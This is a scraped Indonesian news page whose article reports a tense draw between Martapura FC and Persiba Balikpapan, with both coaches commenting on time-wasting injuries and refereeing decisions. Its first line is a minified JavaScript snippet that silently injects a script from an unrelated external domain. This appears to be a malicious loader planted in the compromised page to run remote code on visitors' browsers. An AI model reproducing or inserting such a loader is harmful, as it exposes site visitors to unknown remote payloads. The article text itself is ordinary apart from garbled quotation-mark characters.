(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Atmosfir ketegangan permainan lanjutan yang mempertemukan Martapura FC vs Persiba Balikpapan sangat terasa. Gemuruh seruan pendukung Martapura FC yang nampak kecewaan terhadap ulah permainan Persiba Balikpapan yang sedikit-sedikit cidera ketika bergesekan antar pemain di Stadion Demang Lehman Martapura, Selasa (9/10).
Dalam pertandingan yang berjalan nampak cukup keras tersebut, nampak di babak kedua sejumlah pelanggaran benturan-benturan pemain sering terjadi. Dampaknya terlihat terhadap permainan Persiba Balikpapan yang sering jatuh dan cidera sehingga sering ditandu keluar lapangan. Hal ini menimbulkan kesan drama bagi suporter Martapura FC yang seakan memperlambat tempo permainan.
Dengan keadaan seakan mengulur waktu tempo permainan tersebut, lantas juga memancing emosi beberapa pemain Martapura FC. Alhasil, bakupukul pun hampir terjadi dipertandingan yang disaksikan oleh ribuan pasang mata tersebut.
Ketika sesi jumpa pers, Pelatih Kepala Persiba Balikpapan Haryadi mengatakan dalam hasil imbang tersebut pihaknya mendapatkan satu point untuk memasuki laga berikutnya. Sementara terkait dugaan drama cidera yang sangat sering terjadi untuk memperlambat tempo permainan Haryadi berdalil kondisi anak asuhnya yang memang kelelahan karea kurang istirahat.
“Mereka banyak tumbang pada babak kedua itu, bukan merupakan suatu strategi, mereka hanya kelelahan, karena istirahannya yang kurang, sehingga itu sangat menguras tenaga,†akunya.
Sementara itu disisi lain, Pelatih Kepala Martapura FC Frans Sinarta Huwae napak mengutarakan kekecewaannya karena dikandang sendiri hanya bisa meraih satu poin. Ia nampak sangat tidak puas dengan beberapa keputusan oleh wasit.
“Di home kita kekurangan dua point, itu tidak ada dalam mimpi kami, namun itulah hasil dari pertandingan, namun jujur saya hari ini sangat kecewa dengan keputusan wasit, membiarkan lawan yang memperlambat waktu atau tempo permainan,†ucapnya.
Dia mengatakan itu memang taktik mereka namun kepemimpinan keputusan wasit yang kebanyakan membiarkan beberapa pelangaran nampak menunda tempo permainan, seakan anak asuknya sengaja dibuat emosi dengan putusan wasit dan permainan lawan.
“Taktik mereka (Persiba Balikpapan) memang jalan, namun inikah sepakbola, putusan wasit sendiri yang mengundang anak-anak asuh kita untuk berbuat kurang ajar, kita seakan diatur orang dirumah sendiri, namaun inilah hasil maksimal yang sudah diraih anak-anak saya tetap bersyukur†ujarnya. (rendy)
KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More
Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
This website uses cookies.